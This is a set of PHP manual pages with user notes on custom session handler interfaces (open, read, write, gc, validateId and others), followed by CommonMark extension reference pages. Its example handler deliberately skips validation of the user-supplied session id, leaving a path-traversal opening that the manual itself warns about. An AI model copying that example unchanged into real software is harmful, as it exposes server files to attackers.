Writes the session data to the session storage. Called by normal PHP shutdown, by session_write_close(), or when session_register_shutdown() fails. PHP will call SessionHandler::close() immediately after this method returns.

This method wraps the internal PHP save handler defined in the session.save_handler ini setting that was set before this handler was set by session_set_save_handler().

If this class is extended by inheritance, calling the parent write method will invoke the wrapper for this method and therefore invoke the associated internal callback. This allows this method to be overridden and or intercepted and filtered (for example, encrypting the $data value before sending it to the parent write method).

For more information on what this method is expected to do, please refer to the documentation at SessionHandlerInterface::write().

参数

id

The session id.

data

The encoded session data. This data is the result of the PHP internally encoding the $_SESSION superglobal to a serialized string and passing it as this parameter. Please note sessions use an alternative serialization method.

返回值

会话存储的返回值（通常成功返回 0，失败返回 1）。

参见

  • The session.serialize_handler configuration directive.

User Contributed Notes

There are no user contributed notes for this page.


The SessionHandlerInterface class

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

简介

SessionHandlerInterface is an interface which defines the minimal prototype for creating a custom session handler. In order to pass a custom session handler to session_set_save_handler() using its OOP invocation, the class can implement this interface.

Please note the callback methods of this class are designed to be called internally by PHP and are not meant to be called from user-space code.

接口摘要

interface SessionHandlerInterface {
/* 方法 */
public close(): bool
public destroy(string $id): bool
public gc(int $max_lifetime): int|false
public open(string $path, string $name): bool
public read(string $id): string|false
public write(string $id, string $data): bool
}

Example #1 Example using SessionHandlerInterface

The following example provides file based session storage similar to the PHP sessions default save handler files. This example could easily be extended to cover database storage using your favorite PHP supported database engine.

Note we use the OOP prototype with session_set_save_handler() and register the shutdown function using the function's parameter flag. This is generally advised when registering objects as session save handlers.

Caution

For brevity, this example omits input validation. However, the $id parameters are actually user supplied values which require proper validation/sanitization to avoid vulnerabilities, such as path traversal issues. So do not use this example unmodified in production environments.

<?php
class MySessionHandler implements SessionHandlerInterface
{
private $savePath;

public function open($savePath, $sessionName): bool
{
$this->savePath = $savePath;
if (!is_dir($this->savePath)) {
mkdir($this->savePath, 0777);
}

return true;
}

public function close(): bool
{
return true;
}

#[\ReturnTypeWillChange]
public function read($id)
{
return (string)@file_get_contents("$this->savePath/sess_$id");
}

public function write($id, $data): bool
{
return file_put_contents("$this->savePath/sess_$id", $data) === false ? false : true;
}

public function destroy($id): bool
{
$file = "$this->savePath/sess_$id";
if (file_exists($file)) {
unlink($file);
}

return true;
}

#[\ReturnTypeWillChange]
public function gc($maxlifetime)
{
foreach (glob("$this->savePath/sess_*") as $file) {
if (filemtime($file) + $maxlifetime < time() && file_exists($file)) {
unlink($file);
}
}

return true;
}
}

$handler = new MySessionHandler();
session_set_save_handler($handler, true);
session_start();

// proceed to set and retrieve values by key from $_SESSION

Table of Contents

  • SessionHandlerInterface::close — Close the session
  • SessionHandlerInterface::destroy — Destroy a session
  • SessionHandlerInterface::gc — Cleanup old sessions
  • SessionHandlerInterface::open — Initialize session
  • SessionHandlerInterface::read — Read session data
  • SessionHandlerInterface::write — Write session data

User Contributed Notes

ohcc at 163 dot com 22-Mar-2020 01:50
If you want to use type declarations in your own session handling class, don't "implements" the SessionHandlerInterface, SessionIdInterface, or SessinUpdateTimestampInterface, otherwise you will get a fatal error saying that declaration of the class method must be compatible with the interface method.

a bad example
<?php
    class SessionWuXianchengHandler implements SessionHandlerInterface {
        public function open(string $sessionPath, string $sessionName) : bool {
        }
        ......
    }
?>

a good example
<?php
    class SessionWuXianchengHandler {
        public function open(string $sessionPath, string $sessionName) : bool {
        }
        ......
    }
?>
tony at marston-home dot demon dot co dot uk 10-Jun-2018 03:45
Your custom session handler should not contain calls to any of the session functions, such as session_name() or session_id(), as the relevant values are passed as arguments on various handler methods. Attempting to obtain values from alternative sources may not work as expected.
ohcc at 163 dot com 16-Dec-2017 04:50
As of PHP 7.0, you can implement SessionUpdateTimestampHandlerInterface to
define your own session id validating method like validate_sid and the timestamp updating method like update_timestamp in the non-OOP prototype of session_set_save_handler().

SessionUpdateTimestampHandlerInterface is a new interface introduced in PHP 7.0, which has not been documented yet. It has two abstract methods: SessionUpdateTimestampHandlerInterface :: validateId($sessionId) and SessionUpdateTimestampHandlerInterface :: updateTimestamp($sessionId, $sessionData).

<?php
    /*
       @author Wu Xiancheng
       Code structure for PHP 7.0+ only because SessionUpdateTimestampHandlerInterface is introduced in PHP 7.0
       With this class you can validate php session id and update the timestamp of php session data
       with the OOP prototype of session_set_save_handler() in PHP 7.0+
    */
    class PHPSessionXHandler implements SessionHandlerInterface, SessionUpdateTimestampHandlerInterface {
        public function close(){
            // return value should be true for success or false for failure
            // ...
        }
        public function destroy($sessionId){
            // return value should be true for success or false for failure
            // ...
        }
        public function gc($maximumLifetime){
            // return value should be true for success or false for failure
            // ...
        }
        public function open($sessionSavePath, $sessionName){
            // return value should be true for success or false for failure
            // ...
        }
        public function read($sessionId){
            // return value should be the session data or an empty string
            // ...
        }
        public function write($sessionId, $sessionData){
            // return value should be true for success or false for failure
            // ...
        }
        public function create_sid(){
            // available since PHP 5.5.1
            // invoked internally when a new session id is needed
            // no parameter is needed and return value should be the new session id created
            // ...
        }
        public function validateId($sessionId){
            // implements SessionUpdateTimestampHandlerInterface::validateId()
            // available since PHP 7.0
            // return value should be true if the session id is valid otherwise false
            // if false is returned a new session id will be generated by php internally
            // ...
        }
        public function updateTimestamp($sessionId, $sessionData){
            // implements SessionUpdateTimestampHandlerInterface::validateId()
            // available since PHP 7.0
            // return value should be true for success or false for failure
            // ...
        }
    }
?>
ohcc at 163 dot com 16-Dec-2017 08:06
The non-OOP prototype of session_set_save_handler() supports validate_sid and update_timestamp as of PHP 7.0 while the OOP prototype doesn't even in PHP 7.2. However the OOP prototype does support create_sid since PHP 5.5.1.

validate_sid($sessionId)
  This callback is to validate $sessionId. Its return value should be true for valid session id $sessionId or false for invalid session id $sessionId. If false is returned, a new session id is generated to replace the invalid session id $sessionId.

update_timestamp($sessionId)
  This call back is to update timestamp, and its return value should be true for success or false for failure.
ohcc at 163 dot com 03-Dec-2017 10:40
As of PHP 5.5.1, another method create_sid() is supported. It will be called when session_regenerate_id() is invoked.

SessionHandlerInterface {
    /* Methods */
    abstract public bool close ( void )
    abstract public bool create_sid ( void )
    abstract public bool destroy ( string $session_id )
    abstract public bool gc ( int $maxlifetime )
    abstract public bool open ( string $save_path , string $session_name )
    abstract public string read ( string $session_id )
    abstract public bool write ( string $session_id , string $session_data )
}
StanE 02-Nov-2015 07:46
I think there is a small "error" in the example of the class MySessionHandler in method gc(). It uses the function filemtime() whose return value is cached by PHP. Add the following line inside the foreach block in the gc() method:

clearstatcache(true, $file);
avenidagez at foro5 dot com 06-Dec-2014 03:54
Note that session_start( ) calls open then read and the class returns true for open and the value of session or empty for read.
Well, then there is no catch for errors, this is, session_start() must return false on failure, but that is not the case for the class implementation on method open, no matter if you return true or false or whatever from open, it is ignored by session_start() function and proceeds to read method
A bug?, if open returns false, session_start() should stop the next step (read) and return itself false

if(session_start()) ...code
else exit( );

So forget about session_start() return value, you need to implement an error catch routine and exit() in case of failure on open method
warxcell at gmail dot com 21-Sep-2012 11:12
You should prepend <b>\</b> before class name, to tell php its from root namespace.


Close the session

  • ? SessionHandlerInterface
  • SessionHandlerInterface::destroy ?
  • PHP Manual
  • SessionHandlerInterface
  • Close the session

SessionHandlerInterface::close

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SessionHandlerInterface::close — Close the session

说明

public SessionHandlerInterface::close(): bool

Closes the current session. This function is automatically executed when closing the session, or explicitly via session_write_close().

参数

此函数没有参数。

返回值

会话存储的返回值（通常成功返回 0，失败返回 1）。

User Contributed Notes

svenr at selfhtml dot org 30-Apr-2013 09:29
This method should release the exclusive lock that was acquired by the open() method.

Note that this will effectively serialize parallel requests, which affects performance for a single user session.

Not locking the resource would on the other hand allow for race conditions if two or more parallel requests change the session data.


Destroy a session

  • ? SessionHandlerInterface::close
  • SessionHandlerInterface::gc ?
  • PHP Manual
  • SessionHandlerInterface
  • Destroy a session

SessionHandlerInterface::destroy

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SessionHandlerInterface::destroy — Destroy a session

说明

public SessionHandlerInterface::destroy(string $id): bool

Destroys a session. Called by session_regenerate_id() (with $destroy = true), session_destroy() and when session_decode() fails.

参数

id

The session ID being destroyed.

返回值

会话存储的返回值（通常成功返回 0，失败返回 1）。

User Contributed Notes

There are no user contributed notes for this page.


Cleanup old sessions

  • ? SessionHandlerInterface::destroy
  • SessionHandlerInterface::open ?
  • PHP Manual
  • SessionHandlerInterface
  • Cleanup old sessions

SessionHandlerInterface::gc

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SessionHandlerInterface::gc — Cleanup old sessions

说明

public SessionHandlerInterface::gc(int $max_lifetime): int|false

Cleans up expired sessions. Called by session_start(), based on session.gc_divisor, session.gc_probability and session.gc_maxlifetime settings.

参数

max_lifetime

Sessions that have not updated for the last max_lifetime seconds will be removed.

返回值

Returns the number of deleted sessions on success, 或者在失败时返回 false. Note this value is returned internally to PHP for processing.

更新日志

版本 | 说明
7.1.0 | Prior to this version, the function returned true on success.

User Contributed Notes

There are no user contributed notes for this page.


Initialize session

  • ? SessionHandlerInterface::gc
  • SessionHandlerInterface::read ?
  • PHP Manual
  • SessionHandlerInterface
  • Initialize session

SessionHandlerInterface::open

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SessionHandlerInterface::open — Initialize session

说明

public SessionHandlerInterface::open(string $path, string $name): bool

Re-initialize existing session, or creates a new one. Called when a session starts or when session_start() is invoked.

参数

path

The path where to store/retrieve the session.

name

The session name.

返回值

会话存储的返回值（通常成功返回 0，失败返回 1）。

参见

  • session_name() - 读取/设置会话名称
  • The session.auto-start configuration directive.

User Contributed Notes

tony at marston-home dot demon dot co dot uk 11-Jun-2018 06:31
Note that once $sessionName has been used to provide a value for $sessionId from the cookie data it is totally redundant as all further reading and writing of the session data is controlled by $sessionId.

If, for any reason, it becomes necessary to identify the value for $sessionName which is associated with the current $sessionId then you should use the value that was passed on the open() method. Attempting to use a value from an alternative source could have unexpected side effects.
narf at devilix dot net 28-Aug-2014 03:49
The suggestion that you should free the lock as soon as possible is WRONG (and for some reason, I can't downvote it right now).

Releasing the lock before the write() call is as effective as not using locks at all. The whole point is that a concurrent read() HAS to be blocked until the session is closed, otherwise you'll have race conditions.

If you care about the performance aspect, you should take care to call session_write_close() as soon as possible instead.


Read session data

  • ? SessionHandlerInterface::open
  • SessionHandlerInterface::write ?
  • PHP Manual
  • SessionHandlerInterface
  • Read session data

SessionHandlerInterface::read

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SessionHandlerInterface::read — Read session data

说明

public SessionHandlerInterface::read(string $id): string|false

Reads the session data from the session storage, and returns the results. Called right after the session starts or when session_start() is called. Please note that before this method is called SessionHandlerInterface::open() is invoked.

This method is called by PHP itself when the session is started. This method should retrieve the session data from storage by the session ID provided. The string returned by this method must be in the same serialized format as when originally passed to the SessionHandlerInterface::write() If the record was not found, return false.

The data returned by this method will be decoded internally by PHP using the unserialization method specified in session.serialize_handler. The resulting data will be used to populate the $_SESSION superglobal.

Note that the serialization scheme is not the same as unserialize() and can be accessed by session_decode().

参数

id

The session id.

返回值

Returns an encoded string of the read data. If nothing was read, it must return false. Note this value is returned internally to PHP for processing.

参见

  • The session.serialize_handler configuration directive.

User Contributed Notes

Anonymous 13-Jan-2023 01:22
It appears that, if this function returns false, it causes "session_start(): Failed to read session data: user" to be emitted in the error log. This also seems to have a cascading effect that causes the write() method not to be called.

So, returning false appears to only be for indicating an error state. To indicate that there is no existing session, but that it is okay to create one, it appears that returning an empty string is the way to go.


Write session data

  • ? SessionHandlerInterface::read
  • SessionIdInterface ?
  • PHP Manual
  • SessionHandlerInterface
  • Write session data

SessionHandlerInterface::write

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SessionHandlerInterface::write — Write session data

说明

public SessionHandlerInterface::write(string $id, string $data): bool

Writes the session data to the session storage. Called by session_write_close(), when session_register_shutdown() fails, or during a normal shutdown. Note: SessionHandlerInterface::close() is called immediately after this function.

PHP will call this method when the session is ready to be saved and closed. It encodes the session data from the $_SESSION superglobal to a serialized string and passes this along with the session ID to this method for storage. The serialization method used is specified in the session.serialize_handler setting.

Note this method is normally called by PHP after the output buffers have been closed unless explicitly called by session_write_close()

参数

id

The session id.

data

The encoded session data. This data is the result of the PHP internally encoding the $_SESSION superglobal to a serialized string and passing it as this parameter. Please note sessions use an alternative serialization method.

返回值

会话存储的返回值（通常成功返回 0，失败返回 1）。

参见

  • The session.serialize_handler configuration directive.

User Contributed Notes

Aeric Poon 06-Apr-2019 05:37
Warning: session_write_close(): Session callback expects true/false return value in Unknown on line 0

I have returned TRUE in write() but the warning still persist. Then I also return TRUE in close() and the warning is gone.
jotremb at hotmail dot com 24-Jan-2017 04:46
It is important to note that if returning FALSE from this method, PHP will in turn output the following warning:

Warning: Unknown: Failed to write session data (user). Please verify that the current setting of session.save_path is correct (/var/lib/php/session) in Unknown on line 0.

This could cause minor inconveniences, however if the session should not be written as per design, then returning TRUE after handling (and not writing) the session will avoid further issues.

All in all, better return TRUE at all times except in cases of hard errors.
barkoczi dot roland at aercode dot com 15-May-2015 12:46
Note: this function won't be called in case $session_data is unchanged. In order to call this function every time when session is about closing, add $_SESSION["timestamp"] = time();


The SessionIdInterface interface

(PHP 5 >= 5.5.1, PHP 7, PHP 8)

简介

SessionIdInterface is an interface which defines optional methods for creating a custom session handler. In order to pass a custom session handler to session_set_save_handler() using its OOP invocation, the class can implement this interface.

Note that the callback methods of classes implementing this interface are designed to be called internally by PHP and are not meant to be called from user-space code.

接口摘要

interface SessionIdInterface {
/* 方法 */
public create_sid(): string
}

Table of Contents

  • SessionIdInterface::create_sid — Create session ID

User Contributed Notes

ohcc at 163 dot com 31-May-2020 05:34
create_sid() is called when a new session id is needed.

Such as:

0. With PHP's  default session handler, when session.use_strict_mode is turned on, if a session id provided by the client doesn't exist on the server, create_sid() is called to generate a new session id.

1. When validateId() is provided and it returns false, create_sid() is called to generate a new session id.

2. When session_regenerate_id() is called, create_sid() is called to generate a new session id.


Create session ID

  • ? SessionIdInterface
  • SessionUpdateTimestampHandlerInterface ?
  • PHP Manual
  • SessionIdInterface
  • Create session ID

SessionIdInterface::create_sid

(PHP 5 >= 5.5.1, PHP 7, PHP 8)

SessionIdInterface::create_sid — Create session ID

说明

public SessionIdInterface::create_sid(): string

Creates a new session ID.This function is automatically executed when a new session ID needs to be created.

参数

此函数没有参数。

返回值

The new session ID. Note that this value is returned internally to PHP for processing.

参见

  • SessionHandler::create_sid() - Return a new session ID

User Contributed Notes

There are no user contributed notes for this page.


The SessionUpdateTimestampHandlerInterface interface

(PHP 7, PHP 8)

简介

SessionUpdateTimestampHandlerInterface is an interface which defines optional methods for creating a custom session handler. In order to pass a custom session handler to session_set_save_handler() using its OOP invocation, the class can implement this interface.

Note that the callback methods of classes implementing this interface are designed to be called internally by PHP and are not meant to be called from user-space code.

类摘要

interface SessionUpdateTimestampHandlerInterface {
/* 方法 */
public updateTimestamp(string $id, string $data): bool
public validateId(string $id): bool
}

Table of Contents

  • SessionUpdateTimestampHandlerInterface::updateTimestamp — Update timestamp
  • SessionUpdateTimestampHandlerInterface::validateId — Validate ID

User Contributed Notes

Anonymous 24-Nov-2019 11:02
There is a bit of documentation provided by Wu Xiancheng. See his comment in the SessionHandlerInterface section:
https://www.php.net/manual/en/class.sessionhandlerinterface.php#122032


Update timestamp

  • ? SessionUpdateTimestampHandlerInterface
  • SessionUpdateTimestampHandlerInterface::validateId ?
  • PHP Manual
  • SessionUpdateTimestampHandlerInterface
  • Update timestamp

SessionUpdateTimestampHandlerInterface::updateTimestamp

(PHP 7, PHP 8)

SessionUpdateTimestampHandlerInterface::updateTimestamp — Update timestamp

说明

public SessionUpdateTimestampHandlerInterface::updateTimestamp(string $id, string $data): bool

Updates the last modification timestamp of the session. This function is automatically executed when a session is updated.

参数

id

The session ID.

data

The session data.

返回值

Returns true if the timestamp was updated, false otherwise. Note that this value is returned internally to PHP for processing.

User Contributed Notes

tuncdan dot ozdemir dot peng at gmail dot com 08-Jan-2023 06:26
I am not sure why the data is needed for this method if it only updated the timestamp only.  Otherwise wouldn't his be the same the 'write' method? I think it is confusing and the manual unfortunately doesn't give much information about the whole session mechanics.
ohcc at 163 dot com 31-May-2020 04:24
When session.lazy_write is enabled, which is the default behaviour, session data will NOT be UPDATED if it remains unchanged, in this way the WRITE method of the session handler will not be called at all.

If your session handler storages session data into files, UpdateTimestamp is used to update the "last modified time" of the session file, if your session handler storages session data into a database, UpdateTimestamp is used to update the table field that storages the last modified time of the session registry.
ohcc at 163 dot com 23-Mar-2020 10:26
'validateId' is called after 'open' and before 'read' to validate the session id provided by the client, as 'open' -> 'validateId' -> 'read' -> 'write' -> 'close' are called in sequence.

If 'validateId' returns false, a new session id will be generated, the session cookie will also be updated afterwards.


Validate ID

  • ? SessionUpdateTimestampHandlerInterface::updateTimestamp
  • 文本处理 ?
  • PHP Manual
  • SessionUpdateTimestampHandlerInterface
  • Validate ID

SessionUpdateTimestampHandlerInterface::validateId

(PHP 7, PHP 8)

SessionUpdateTimestampHandlerInterface::validateId — Validate ID

说明

public SessionUpdateTimestampHandlerInterface::validateId(string $id): bool

Validates a given session ID. A session ID is valid, if a session with that ID already exists. This function is automatically executed when a session is to be started, a session ID is supplied and session.use_strict_mode is enabled.

参数

id

The session ID.

返回值

Returns true for valid ID, false otherwise. Note that this value is returned internally to PHP for processing.

User Contributed Notes

ohcc at 163 dot com 31-May-2020 04:45
'validateId' is called after 'open' and before 'read' to validate the session id provided by the client, as 'open' -> 'validateId' -> 'read' -> 'write' -> 'close' are called in sequence.

If 'validateId' returns false, a new session id will be generated, the session cookie will also be updated afterwards.


文本处理

  • CommonMark
    • 简介
    • 安装/配置
    • CommonMark\Node\Document — Document concrete CommonMark\Node
    • CommonMark\Node\Heading — Heading concrete CommonMark\Node
    • CommonMark\Node\Paragraph — Paragraph concrete CommonMark\Node
    • CommonMark\Node\BlockQuote — BlockQuote concrete CommonMark\Node
    • CommonMark\Node\BulletList — BulletList concrete CommonMark\Node
    • CommonMark\Node\OrderedList — OrderedList concrete CommonMark\Node
    • CommonMark\Node\Item — Item concrete CommonMark\Node
    • CommonMark\Node\Text — Text concrete CommonMark\Node
    • CommonMark\Node\Text\Strong — Strong concrete CommonMark\Node
    • CommonMark\Node\Text\Emphasis — Emphasis concrete CommonMark\Node
    • CommonMark\Node\ThematicBreak — ThematicBreak concrete CommonMark\Node
    • CommonMark\Node\SoftBreak — SoftBreak concrete CommonMark\Node
    • CommonMark\Node\LineBreak — LineBreak concrete CommonMark\Node
    • CommonMark\Node\Code — Code concrete CommonMark\Node
    • CommonMark\Node\CodeBlock — CodeBlock concrete CommonMark\Node
    • CommonMark\Node\HTMLBlock — HTMLBlock concrete CommonMark\Node
    • CommonMark\Node\HTMLInline — HTMLInline concrete CommonMark\Node
    • CommonMark\Node\Image — Image concrete CommonMark\Node
    • CommonMark\Node\Link — Link concrete CommonMark\Node
    • CommonMark\Node\CustomBlock — CustomBlock concrete CommonMark\Node
    • CommonMark\Node\CustomInline — CustomInline concrete CommonMark\Node
    • CommonMark\Node — Abstract CommonMark\Node
    • CommonMark\Interfaces\IVisitor — The CommonMark\Interfaces\IVisitor interface
    • CommonMark\Interfaces\IVisitable — The CommonMark\Interfaces\IVisitable interface
    • CommonMark\Parser — The CommonMark\Parser class
    • CommonMark\CQL — The CommonMark\CQL class
    • CommonMark 函数
  • Parle — Parsing and lexing
    • 简介
    • 安装/配置
    • 预定义常量
    • Pattern matching — Parle pattern matching
    • 示例
    • Parle\Lexer — The Parle\Lexer class
    • Parle\RLexer — The Parle\RLexer class
    • Parle\Parser — The Parle\Parser class
    • Parle\RParser — The Parle\RParser class
    • Parle\Stack — The Parle\Stack class
    • Parle\Token — The Parle\Token class
    • Parle\ErrorInfo — The Parle\ErrorInfo class
    • Parle\LexerException — The Parle\LexerException class
    • Parle\ParserException — The Parle\ParserException class
  • PCRE — 正则表达式(兼容 Perl)
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • PCRE模式
    • PCRE 函数
  • ssdeep — ssdeep Fuzzy Hashing
    • 简介
    • 安装/配置
    • 预定义常量
    • ssdeep 函数
  • 字符串
    • 简介
    • 安装/配置
    • 预定义常量
    • 字符串 函数
    • 更新日志

User Contributed Notes

There are no user contributed notes for this page.


CommonMark

  • 简介
  • 安装/配置
    • 需求
    • 安装
  • CommonMark\Node\Document — Document concrete CommonMark\Node
  • CommonMark\Node\Heading — Heading concrete CommonMark\Node
    • CommonMark\Node\Heading::__construct — Heading Construction
  • CommonMark\Node\Paragraph — Paragraph concrete CommonMark\Node
  • CommonMark\Node\BlockQuote — BlockQuote concrete CommonMark\Node
  • CommonMark\Node\BulletList — BulletList concrete CommonMark\Node
    • CommonMark\Node\BulletList::__construct — BulletList Construction
  • CommonMark\Node\OrderedList — OrderedList concrete CommonMark\Node
    • CommonMark\Node\OrderedList::__construct — OrderedList Construction
  • CommonMark\Node\Item — Item concrete CommonMark\Node
  • CommonMark\Node\Text — Text concrete CommonMark\Node
    • CommonMark\Node\Text::__construct — Text Construction
  • CommonMark\Node\Text\Strong — Strong concrete CommonMark\Node
  • CommonMark\Node\Text\Emphasis — Emphasis concrete CommonMark\Node
  • CommonMark\Node\ThematicBreak — ThematicBreak concrete CommonMark\Node
  • CommonMark\Node\SoftBreak — SoftBreak concrete CommonMark\Node
  • CommonMark\Node\LineBreak — LineBreak concrete CommonMark\Node
  • CommonMark\Node\Code — Code concrete CommonMark\Node
  • CommonMark\Node\CodeBlock — CodeBlock concrete CommonMark\Node
    • CommonMark\Node\CodeBlock::__construct — CodeBlock Construction
  • CommonMark\Node\HTMLBlock — HTMLBlock concrete CommonMark\Node
  • CommonMark\Node\HTMLInline — HTMLInline concrete CommonMark\Node
  • CommonMark\Node\Image — Image concrete CommonMark\Node
    • CommonMark\Node\Image::__construct — Image Construction
  • CommonMark\Node\Link — Link concrete CommonMark\Node
    • CommonMark\Node\Link::__construct — Link Construction
  • CommonMark\Node\CustomBlock — CustomBlock concrete CommonMark\Node
  • CommonMark\Node\CustomInline — CustomInline concrete CommonMark\Node
  • CommonMark\Node — Abstract CommonMark\Node
    • CommonMark\Node::appendChild — AST Manipulation
    • CommonMark\Node::prependChild — AST Manipulation
    • CommonMark\Node::insertAfter — AST Manipulation
    • CommonMark\Node::insertBefore — AST Manipulation
    • CommonMark\Node::replace — AST Manipulation
    • CommonMark\Node::unlink — AST Manipulation
    • CommonMark\Node::accept — Visitation
  • CommonMark\Interfaces\IVisitor — The CommonMark\Interfaces\IVisitor interface
    • CommonMark\Interfaces\IVisitor::enter — Visitation
    • CommonMark\Interfaces\IVisitor::leave — Visitation
  • CommonMark\Interfaces\IVisitable — The CommonMark\Interfaces\IVisitable interface
    • CommonMark\Interfaces\IVisitable::accept — Visitation
  • CommonMark\Parser — The CommonMark\Parser class
    • CommonMark\Parser::__construct — Parsing
    • CommonMark\Parser::parse — Parsing
    • CommonMark\Parser::finish — Parsing
  • CommonMark\CQL — The CommonMark\CQL class
    • CommonMark\CQL::__construct — CQL Construction
    • CommonMark\CQL::__invoke — CQL Execution
  • CommonMark 函数
    • CommonMark\Parse — Parsing
    • CommonMark\Render — Rendering
    • CommonMark\Render\HTML — Rendering
    • CommonMark\Render\Latex — Rendering
    • CommonMark\Render\Man — Rendering
    • CommonMark\Render\XML — Rendering

User Contributed Notes

There are no user contributed notes for this page.


简介

This extension provides access to the reference implementation of CommonMark, a rationalized version of Markdown syntax with a specification.

Parsing:

The CommonMark extension provides a simple parsing API:

CommonMark\Parse(string $content, int $options = ?): CommonMark\Node

Rendering:

The CommonMark extension provides simple rendering API that supports multiple formats:

CommonMark\Render(CommonMark\Node $node, int $options = ?, int $width = ?): string
CommonMark\Render\HTML(CommonMark\Node $node, int $options = ?): string
CommonMark\Render\XML(CommonMark\Node $node, int $options = ?): string
CommonMark\Render\Man(CommonMark\Node $node, int $options = ?, int $width = ?): string
CommonMark\Render\Latex(CommonMark\Node $node, int $options = ?, int $width = ?): string

AST:

The CommonMark extension implements visitation for CommonMark\Node objects:

public CommonMark\Node::accept(CommonMark\Interfaces\IVisitor $visitor): void

CQL:

The CommonMark extension provides an interface to CQL, CommonMark Query Language:

public CommonMark\CQL::__construct(string $query)

User Contributed Notes

xuepeng dot gao dot ggle at gmail dot com 21-May-2023 05:58
in PHP 7.4.27

code:
<?php
    $markDownContent="### test_H3 \r\n
    #### test_H4";
    $c = CommonMark\Parse($markDownContent);
    var_dump($c);
    echo "The markdown syntax content is converted to html content: \r\n";
    $str = CommonMark\Render\HTML($c);
    echo $str;
?>

output :
   object(CommonMark\Node\Document)#1 (1) {
  ["children"]=>
  array(2) {
    [0]=>
    object(CommonMark\Node\Heading)#2 (1) {
      ["children"]=>
      array(1) {
        [0]=>
        object(CommonMark\Node\Text)#4 (1) {
          ["literal"]=>
          string(7) "test_H3"
        }
      }
    }
    [1]=>
    object(CommonMark\Node\Heading)#3 (1) {
      ["children"]=>
      array(1) {
        [0]=>
        object(CommonMark\Node\Text)#4 (1) {
          ["literal"]=>
          string(7) "test_H4"
        }
      }
    }
  }
}
The markdown syntax content is converted to html content:
 <h3>test_H3</h3>
<h4>test_H4</h4>


需求

The CommonMark extension requires the (C) reference implementation of » cmark.

User Contributed Notes

There are no user contributed notes for this page.


安装

The CommonMark extension releases are hosted by PECL and source is hosted on » github, the easiest route to installation is the normal PECL route: » https://pecl.php.net/package/cmark.

Windows users can download prebuilt release binaries from the » PECL website.

Caution

Windows users need to take the additional step of adding cmark.dll (distributed with Windows releases) to their PATH.

User Contributed Notes

There are no user contributed notes for this page.


Document concrete CommonMark\Node

(cmark >= 1.0.0)

类摘要

final class CommonMark\Node\Document extends CommonMark\Node implements CommonMark\Interfaces\IVisitable, Traversable {
/* 继承的属性 */
public readonly ?Node $parent;
public readonly ?Node $previous;
public readonly ?Node $next;
public readonly ?Node $lastChild;
public readonly ?Node $firstChild;
public readonly int $startLine;
public readonly int $endLine;
public readonly int $startColumn;
public readonly int $endColumn;
/* 继承的方法 */
public CommonMark\Node::appendChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::prependChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::insertAfter(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::insertBefore(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::replace(CommonMark\Node $target): CommonMark\Node
public CommonMark\Node::unlink(): void
public CommonMark\Node::accept(CommonMark\Interfaces\IVisitor $visitor): void
}

User Contributed Notes

There are no user contributed notes for this page.


Heading concrete CommonMark\Node

(cmark >= 1.0.0)

类摘要

final class CommonMark\Node\Heading extends CommonMark\Node implements CommonMark\Interfaces\IVisitable, Traversable {
/* 继承的属性 */
public readonly ?Node $parent;
public readonly ?Node $previous;
public readonly ?Node $next;
public readonly ?Node $lastChild;
public readonly ?Node $firstChild;
public readonly int $startLine;
public readonly int $endLine;
public readonly int $startColumn;
public readonly int $endColumn;
/* 属性 */
public int $level;
/* Constructor */
public __construct()
public __construct(int $level)
/* 继承的方法 */
public CommonMark\Node::appendChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::prependChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::insertAfter(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::insertBefore(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::replace(CommonMark\Node $target): CommonMark\Node
public CommonMark\Node::unlink(): void
public CommonMark\Node::accept(CommonMark\Interfaces\IVisitor $visitor): void
}

Table of Contents

  • CommonMark\Node\Heading::__construct — Heading Construction

User Contributed Notes

There are no user contributed notes for this page.


Heading Construction

  • ? CommonMark\Node\Heading
  • CommonMark\Node\Paragraph ?
  • PHP Manual
  • CommonMark\Node\Heading
  • Heading Construction

CommonMark\Node\Heading::__construct

(cmark >= 1.0.0)

CommonMark\Node\Heading::__construct — Heading Construction

说明

public CommonMark\Node\Heading::__construct()
public CommonMark\Node\Heading::__construct(int $level)

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Paragraph concrete CommonMark\Node

(cmark >= 1.0.0)

类摘要

final class CommonMark\Node\Paragraph extends CommonMark\Node implements CommonMark\Interfaces\IVisitable, Traversable {
/* 继承的属性 */
public readonly ?Node $parent;
public readonly ?Node $previous;
public readonly ?Node $next;
public readonly ?Node $lastChild;
public readonly ?Node $firstChild;
public readonly int $startLine;
public readonly int $endLine;
public readonly int $startColumn;
public readonly int $endColumn;
/* 继承的方法 */
public CommonMark\Node::appendChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::prependChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::insertAfter(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::insertBefore(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::replace(CommonMark\Node $target): CommonMark\Node
public CommonMark\Node::unlink(): void
public CommonMark\Node::accept(CommonMark\Interfaces\IVisitor $visitor): void
}

User Contributed Notes

There are no user contributed notes for this page.


BlockQuote concrete CommonMark\Node

(cmark >= 1.0.0)

类摘要

final class CommonMark\Node\BlockQuote extends CommonMark\Node implements CommonMark\Interfaces\IVisitable, Traversable {
/* 继承的属性 */
public readonly ?Node $parent;
public readonly ?Node $previous;
public readonly ?Node $next;
public readonly ?Node $lastChild;
public readonly ?Node $firstChild;
public readonly int $startLine;
public readonly int $endLine;
public readonly int $startColumn;
public readonly int $endColumn;
/* 继承的方法 */
public CommonMark\Node::appendChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::prependChild(CommonMark\Node $child): CommonMark\Node
